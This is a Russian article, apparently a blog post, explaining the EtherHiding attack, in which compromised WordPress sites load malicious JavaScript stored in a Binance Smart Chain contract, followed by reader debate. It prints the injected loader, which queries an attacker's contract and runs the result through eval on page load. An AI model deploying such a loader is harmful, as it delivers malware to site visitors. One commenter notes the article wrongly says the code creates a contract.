Один из старых хакерских трюков — распространять вредоносное ПО под видом обновления браузера. На взломанном сайте размещается плашка с утверждением, что для просмотра нужно обновить браузер. И кнопка для скачивания обновления, как на скриншоте с прошлогодней атаки ClearFake. Таким образом, жертва самостоятельно устанавливает вредоносное ПО на свой компьютер.

В прошлом году злоумышленники разработали умный способ защитить вредоносный софт от уничтожения. Они разместили его в децентрализованном анонимном блокчейне. То есть интегрировали код в смарт-контракт, который навечно сохранился в открытом доступе.

Инновационный способ хранения вредоносного кода описали специалисты по безопасности из израильской компании Guardio.

Схема выглядит следующим образом:



В данном случае используется BSC (Binance Smart Chain), то есть блокчейн от крупнейшей криптобиржи Binance, который является альтернативой Etherium, первому в интернете блокчейну со смарт-контрактами.

Для распространения вредоноса используются сайты на платформе WordPress. Часто эксплуатируются уязвимости в плагинах WP (например, такое происходило во время операции Balada Injector), устаревшие версии WordPress и украденные учётки.

На каждой странице взломанного сайта размещается следующий код (в обфусцированном виде Base64):

// include <https://cdn.ethers.io/lib/ethers-5.2.umd.min.js>
async function load() {
    let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
        signer = provider.getSigner(),
        address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
        ABI = [
            { inputs: [{ internalType: "string", .......},
            { inputs: [], name: "get", ......},
            { inputs: [], name: "link", ....... },
        ],
        contract = new ethers.Contract(address, ABI, provider),
        link = await contract.get();
    eval(atob(link));
}
window.onload = load;

В данной части код взаимодействует с блокчейном BSC. Он создаёт новый смарт-контракт, инициализируя его с контролируемого злоумышленником адреса в блокчейна. Далее через интерфейс ABI (Application Binary Interface) объявляются функции и структура контракта. Вызывается функция get(), она запрашивает контракт, чтобы скачать тот самый код, который впоследствии будет декодирован в JavaScript с помощью функции eval().

Код смарт-контракта:

def storage:
  stor0 is array of struct at storage 0

def update(string _newName) payable: 
  require calldata.size - 4 >= 32
  require _newName <= -1
  require _newName + 35 < calldata.size
  if _newName.length > -1:
      revert with 'NH{q', 65
  require _newName + _newName.length + 36 <= calldata.size
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
      if _newName.length:
          stor0[].field_0 = Array(len=_newName.length, data=_newName[all])
  else:
  {...}

def get() payable: 
  if bool(stor0.length):
      if bool(stor0.length) == stor0.length.field_1 < 32:
          revert with 'NH{q', 34
          {..}
          if stor0.length.field_1:
              if 31 < stor0.length.field_1:
                  mem[128] = uint256(stor0.field_0)
                  idx = 128
                  s = 0
                  while stor0.length.field_1 + 96 > idx:
                      mem[idx + 32] = stor0[s].field_256
                      idx = idx + 32
                      s = s + 1
                      continue 
                  return Array(len=2 * Mask(256, -1, stor0.length.field_1), data=mem[128 len ceil32(stor0.length.field_1)])
              mem[128] = 256 * stor0.length.field_8
      else:
         {...}
  return Array(len=stor0.length % 128, data=mem[128 len ceil32(stor0.length.field_1)], mem[(2 * ceil32(stor0.length.field_1)) + 192 len 2 * ceil32(stor0.length.field_1)]), 

def unknown1c4695f4() payable: 
 {...}

Этот простой смарт-контракт, который использует функцию хранения данных контракта (переменная массива stor0). Метод update() сохраняет входные данные в это хранилище байт за байтом, а метод get() считывает хранилище и возвращает его значение в виде строки. Таким образом, взаимодействуя с контрактом, можно записывать или обновлять данные в цепочке.

Все операции хранятся в истории транзакций BSC, начиная с создания контракта 9 сентября 2023 года по другому адресу, контролируемому злоумышленниками. На этот другой адрес, созданный в конце июня 2022 года, перечислили BNB (монета Binance) в количестве, достаточном для создания и обновления контракта — действий, которые фактически не подлежат оплате, но требуют незначительной платы за «газ» ($0,02−0,60 на каждое действие):



Считывание вредоносного кода из блокчейна производит функция eth_call из Binance SDK, и это бесплатная операция.

Раньше хакерский код хранился на хостинге Cloudflare — его можно было удалить или заблокировать. К сожалению, сделать такое с блокчейном невозможно по определению. То есть помешать распространению программы нельзя никак. Единственное, что может сделать Binance — это пометить вредоносный контракт в справочном сервисе BSCScan:



Код из контракта всё равно продолжит свободно распространяться, пусть и с пометкой в справочном сервисе.

Хранить код в блокчейне выгодно: децентрализованный хостинг и чтение из него совершенно бесплатны на годы вперёд, пока этот блокчейн сохранит своё существование. Для злоумышленника удобно ещё и то, что браузер скачивает вредоносный код и запускает его, не оставляя следов и не указывая на авторов атаки, которые сохраняют полную анонимность.

Новый тип атаки через блокчейн получил название EtherHiding. Специалисты пока не могут найти эффективной защиты от распространения программ через общедоступную децентрализованную систему хранения информации, которую по её природе невозможно отредактировать.

Комментарии (36)


  1. iTs
    02.02.2025 18:31

    К сожалению, сделать такое с блокчейном невозможно по определению.

    Почему невозможно? Там же прослойка в виде api, на стороне которого такую проверку запросто можно реализовать. Скорее всего она там давно имеется.


    1. GDragon
      02.02.2025 18:31

      Проблема в подходе.
      Если будет реализовано "удаление" (пусть и через запрет обращения к определённым контрактам) то вместо блокчейна будет "просто ещё одна база данных" что в корне подрывает саму идеологию блокчейна.
      И да, я подобного давно ожидал.
      Ещё бы и ЦП распространяли, но данных много больше чем вредонос нужно.


      1. uranik
        02.02.2025 18:31

        Зачем удаление, идет же обращение к rpc провайдеру в JsonRpcProvider, вот на стороне провайдера проверять контракт на вшивость по какому нибудь блоклисту и возвращать отказ никто не мешает. Публичных JsonRpcProvider по пальцам пересчитать, если все они блэк листы контрактов будут поддерживать и проблема уйдёт, а злоумышленникам придется свои rpc поднимать и светиться, а это уже другой коленкор.


        1. ThisMan
          02.02.2025 18:31

          Если появится возможность блокировать контракты ( не важно по каким причинам ), это станет инструментом для манипуляций. Кто решает, что контракт вредоносный? Какой-то единый орган/организация? Но ведь сеть децентрализована, а если это решается пользователями, возможны способы обмана. В любом случае прецедент будет и это подорвет доверие к сети


          1. sunnybear
            02.02.2025 18:31

            Можно сделать децентрализованный реестр чёрного списка контактов...


            1. codecity
              02.02.2025 18:31

              И кто будет модерировать?


              1. itshnick88
                02.02.2025 18:31

                Децентрализованные модераторы)


                1. Nulliusinverba
                  02.02.2025 18:31

                  А кто будет выверять качество дец.модераторов и получать апелляции на их решения? :)


                  1. Vinegar
                    02.02.2025 18:31

                    Естественно, децентрализованная нейросеть )


                  1. nuclight
                    02.02.2025 18:31

                    На этот извечный вопрос "кто будет контролировать контролёров" еще Талеб отвечал - "естественный отбор, разумеется".


            1. avost
              02.02.2025 18:31

              децентрализованный реестр чёрного списка контактов...

              А потом в реестр протащат вредоносный контракт и придётся делать децентрализованный реестр особо чёрного списка контрактов децентрализованного реестра чёрного списка контрактов, ага.

              И, да, децентрализация реестров не решает начальной проблемы - кто решает, что контракт вредоносный?


              1. chv
                02.02.2025 18:31

                Голосование.


          1. i86com
            02.02.2025 18:31

            Кто решает, что контракт вредоносный?

            Владелец домена binance.org, к которому идёт обращение.


            1. Sau
              02.02.2025 18:31

              Хорошо, один контракт можно заблокировать. А что если несколько записей из разных блокчейнов через какую-нибудь операцию типа XOR будут давать вредоносный код?


              1. i86com
                02.02.2025 18:31

                Владельцу необязательно самому обнаруживать вредоносный код или убеждаться в том, что он действительно таков.

                Принцип такой же, как если бы части вредоноса лежали на бесплатных хостингах или в виде рар-джипегов на аватарках.

                Как только проблема становится хоть немного заметной, всем причастным владельцам рассылается уведомление, что вот такие-то и такие-то ответы их серверов приводят к вредоносной активности. С объяснением, как и почему.

                И дальше уже владельцы решают, хотят они поменять ответы своих серверов, или нет.


          1. AllexIn
            02.02.2025 18:31

            Что значит "появится"? Эта возможность уже есть. Владелец точки доступа решает будет он отдавать контракт или нет.
            То что сейчас он делает вид что не может этого - не делает ситуацию лучше.


        1. GGD_79
          02.02.2025 18:31

          Сегодня блокировать «злоумышленников», а завтра начнут требовать выкуп за доступ


      1. zapolnoch
        02.02.2025 18:31

        Не хочу расстраивать, но ЦП есть в блокчейне биткойна


      1. vikarti
        02.02.2025 18:31

        У той же ipfs есть blocklist'ы в том числе по умолчанию. см например https://github.com/ipfs-inactive/faq/issues/176 и https://blog.ipfs.tech/2023-content-blocking-for-the-ipfs-stack/ правда gateway не обязан следовать им...


      1. assad77
        02.02.2025 18:31

        Этериуму это не помешало. Когда нашли серьезную проблему в смарт контракте, этериум форкнули а закрытый контракт вернули.


        1. Nulliusinverba
          02.02.2025 18:31

          Ну, решение в виде форка всегда будет означать, что на классической версии всё осталось по-прежнему. Это не полное и бесконтрольное руление без последствий в виде новой валюты со старыми правилами.


          1. assad77
            02.02.2025 18:31

            Вовсе нет. Сделать форк, при желании, можно в любой момент, если это опессоурс. А если другие участники не поддержать форк то ему грош цена. Тот же этериум классик значительно дешевле.


  1. bolk
    02.02.2025 18:31

    Как будто давно было понятно, что это возможно? https://safe.cnews.ru/news/top/2018-03-21_v_blokchejne_bitkoina_najdeny_obraztsy_detskoj


  1. Sau
    02.02.2025 18:31

    Что дальше? Хранение вредоносного кода в числе пи?


    1. kaptnemo
      02.02.2025 18:31

      Полагаю, он там уже есть, только довольно далеко от начала, где-то на расстоянии О(2^n), где n -- двоичная запись этого кода.


  1. agat000
    02.02.2025 18:31

    Однажды придумают внедрить в крипту крипто-крипту. Паразитный код для вычисления другой крипты. Или этой же, но для другого хозяина.

    А вам слабо, господа програмисты?


    1. a1111exe
      02.02.2025 18:31

      Однажды придумают внедрить в крипту крипто-крипту. Паразитный код для вычисления другой крипты. Или этой же, но для другого хозяина.

      Пффф, это слишком просто. Вот внедрить в крипто-крипту крипто-крипто-крипту... Паразито-паразитный код для вычисления другой крипто-крипты. Или этой же, но для другого хозяина другого хозяина. :)

      Хотя, это тоже слишком просто! Вот внедрить в крипто-крипто-крипту крипто-крипто-крипто-крипту...


  1. mclander
    02.02.2025 18:31

    Сервер с воровайкой конечно же русский. Гордимся)


  1. TimurSadekov
    02.02.2025 18:31

    О том, что в блокчейне можно хранить вредоносное ПО или нелегальный контент давным-давно известно. Об этом еще десять лет назад предупреждал Интерпол на конференции Black Hat Asia 2015, проходившей в Сингапуре. И способов стереть эту информацию исследователи безопасности, работавшие на Интерпол, не нашли.

    Проблему можно решить только через репутацию источников информации, которая на фундаментальном уровне связана с достоверностью информации, поскольку высокая репутация может быть только у тех, кто говорит то, что делает и делает то же, что и говорит. В общем, это длинная цепочка причин и следствий и здесь предстоит большая коллективная работа, общий план которой подробно описан в этой статье https://habr.com/ru/articles/874440


    1. Andy_U
      02.02.2025 18:31

      И способов стереть эту информацию исследователи безопасности, работавшие на Интерпол, не нашли.

      Господь, жги!


  1. fe3dback
    02.02.2025 18:31

    А зачем это делать? Почему бы тот же кусочек кода не вставить в этот js напрямую, чтобы он не делал лишний сетевой вызов?

    Если идея в том, чтобы обойти какой-то pattern matching антивируса, так он же сможет матчить и по этому константному адресу 0x7f36D9292e7c70A204faCC2d255475A861487c60

    В чем профит?


    1. Carbonium
      02.02.2025 18:31

      Я нашёл другой перевод, где приводят такое разъяснение:

      Код, полученный из BSC, так же внедряется на страницу, чтобы вызывать скачивание полезной нагрузки третьего этапа, на этот раз с управляющего сервера злоумышленников. Адрес этого сервера берется непосредственно из блокчейна, поэтому злоумышленники могут легко и часто менять его для обхода блокировок.
      <...>
      Когда один из доменов злоумышленников обнаруживают, они просто обновляют цепочку, заменяют вредоносный код и связанные домены, продолжая атаку практически без перерыва. Кроме того, за внесение таких изменений не взимается плата, поэтому хакеры могут злоупотреблять этой системой столько, сколько им нужно.

      Получается, они используют записи в блокчейне, как практически бесплатное хранилище данных доступа к серверу с полезной нагрузкой.


      1. nuclight
        02.02.2025 18:31

        Ну тут не о том звене вопрос, а о клиентской стороне - если есть антивирус, проверяющий инжектированный код. Решили злоумышленники только вопрос смены домена в инжектированном коде, получается.


  1. ElKornacio
    02.02.2025 18:31

    Он создаёт новый смарт-контракт, инициализируя его с контролируемого злоумышленником адреса в блокчейна

    Ребят... Этот код просто делает JS-обертку над уже существующим смарт-контрактом, который как раз и расположен в блкочейне под указанным адресом. Через эту обертку он делает запросы к этому существующему смарт-контракту. Она просто для удобства, даже не является обязательной.

    Он не создает смарт-контракт. И уже точно не "инициализирует его с контролируемого злоумышленником адреса". Как можно что-то инициализировать с чужого адреса? И уж тем более - с чужого адреса, который контролирует кто-то другой?

    Уф, переведите этот блок через что-то другое.


  1. Wizard_of_light
    02.02.2025 18:31

    Ну такое себе... Обращение к контракту в блокчейне всё равно через инжекцию кода. Но если у нас прокатила инжекция кода, нас нахлобучат и без блокчейна.


  1. TIEugene
    02.02.2025 18:31

    34